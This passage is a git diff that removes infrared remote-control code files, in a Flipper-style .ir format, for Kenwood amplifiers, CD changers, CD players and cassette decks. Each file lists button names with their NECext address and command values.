INPUT_SELECTOR -type: parsed -protocol: NECext -address: B8 01 00 00 -command: CC 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B8 01 00 00 -command: D4 00 00 00 -# -name: TONE_TURN_OVER -type: parsed -protocol: NECext -address: B8 01 00 00 -command: D5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir deleted file mode 100644 index 98d213557..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_<<_/_P.CALL -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 00 00 00 00 -# -name: SKIP_>>_/_P.CALL -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 01 00 00 00 -# -name: SEARCH_<<_/_TUNING -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 02 00 00 00 -# -name: SEARCH_>>_/_TUNING -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 03 00 00 00 -# -name: STOP_/_AUTO/MONO -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 04 00 00 00 -# -name: TUNER_/_BAND -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 06 00 00 00 -# -name: PLAY/PAUSE_/_CD -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 07 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 1E 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir deleted file mode 100644 index 356332258..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir deleted file mode 100644 index d2f7d49e5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_DOWN_/_SOUN -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 50 00 00 00 -# -name: CURSOR_UP_/_SOUND_C -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT_/_SOUND -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT_/_SOUND -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 53 00 00 00 -# -name: ROOM_EQ -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 56 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 57 00 00 00 -# -name: D-BASS -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 5F 00 00 00 -# -name: PLAY/PAUSE_/_DIGITAL -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 9B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir deleted file mode 100644 index c79281680..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: DISC_SKIP_DOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: DISC_SKIP_UP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 91 00 00 00 -# -name: DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 9C 00 00 00 -# -name: BEST_SELECTION -type: parsed -protocol: NECext -address: B6 00 00 00 -command: D2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir deleted file mode 100644 index 9ed79a98a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE -type: parsed -protocol: NECext -address: B6 48 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir deleted file mode 100644 index e8e0fbb0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir deleted file mode 100644 index f7888768a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir +++ /dev/null @@ -1,620 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 10 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: STOP_[]/(CANCEL) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: STOP_[]_(CANCEL) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE_>_ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE_> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE(ENTER) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: PLAY/PAUSE_ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: FAST_REW -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: SCAN_REV_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: SCAN_FWD_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: <<_SEARCH/SCAN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: >>_SEARCH/SCAN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: TIME_DISPLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: TIME_DISP. -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: TIME_DISP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 18 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1B 00 00 00 -# -name: P_MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: P-MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: P._MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: OUTPUT_DOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: OUTPUT_UP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: EDIT-1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: EDIT_MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: DISP_P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: DISC_P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: 1_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: DISC_SELECTOR_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: DISC_SLCT_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: 2_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: DISC_SELECTOR_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: DISC_SLCT_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: 3_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: DISC_SELECTOR_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: DISC_SLCT_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: 4_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: DISC_SELECTOR_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: DISC_SLCT_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: 5_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: DISC_SELECTOR_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: DISC_SLCT_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: 6_DISC_SELECTOR -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: PEAK_SEARCH -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: EDIT-2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8E 00 00 00 -# -name: PGM_FILE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 91 00 00 00 -# -name: MAG.RECALL -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 92 00 00 00 -# -name: P1_RECALL -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 93 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 94 00 00 00 -# -name: MAG. -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 95 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 96 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 97 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 98 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir deleted file mode 100644 index 9ea0ad984..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: <_(LEFT) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: SEARCH_< -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: >_(RIGHT) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: SEARCH_> -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: V_(DOWN) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: SEARCH_V_(DOWN) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: ^_(UP) -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_^ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0B 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 41 00 00 00 -# -name: SEARCH_A -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 41 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: SEARCH_B -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 42 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: SEARCH_C -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 43 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 44 00 00 00 -# -name: SEARCH_D -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 44 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 45 00 00 00 -# -name: SEARCH_E -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 45 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 46 00 00 00 -# -name: SEARCH_F -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 46 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 47 00 00 00 -# -name: SEARCH_G -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 47 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: SEARCH_H -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: SEARCH_I -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: SEARCH_J -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4A 00 00 00 -# -name: K -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4B 00 00 00 -# -name: SEARCH_K -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4B 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4C 00 00 00 -# -name: SEARCH_L -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4C 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: SEARCH_M -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4D 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4E 00 00 00 -# -name: SEARCH_N -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4E 00 00 00 -# -name: O -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: SEARCH_O -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 4F 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: SEARCH_P -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 50 00 00 00 -# -name: Q -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: SEARCH_Q -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 51 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: SEARCH_R -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 52 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: SEARCH_S -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 53 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: SEARCH_T -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 54 00 00 00 -# -name: U -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: SEARCH_U -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 55 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: SEARCH_V -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 56 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 57 00 00 00 -# -name: SEARCH_W -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 57 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 58 00 00 00 -# -name: SEARCH_X -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 58 00 00 00 -# -name: Y -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 59 00 00 00 -# -name: SEARCH_Y -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 59 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5A 00 00 00 -# -name: SEARCH_Z -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 5A 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8A 00 00 00 -# -name: SEARCH_* -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8A 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8B 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8B 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8D 00 00 00 -# -name: / -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8F 00 00 00 -# -name: SEARCH_/ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir deleted file mode 100644 index 2ca27909a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir deleted file mode 100644 index eb1eb4f4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VOL_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOL_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: TAPEA_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPEA_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEB_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_PAUSE_(ONLY) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPEB_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_REC_(ONLY) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir deleted file mode 100644 index 12270644f..000000000 --- 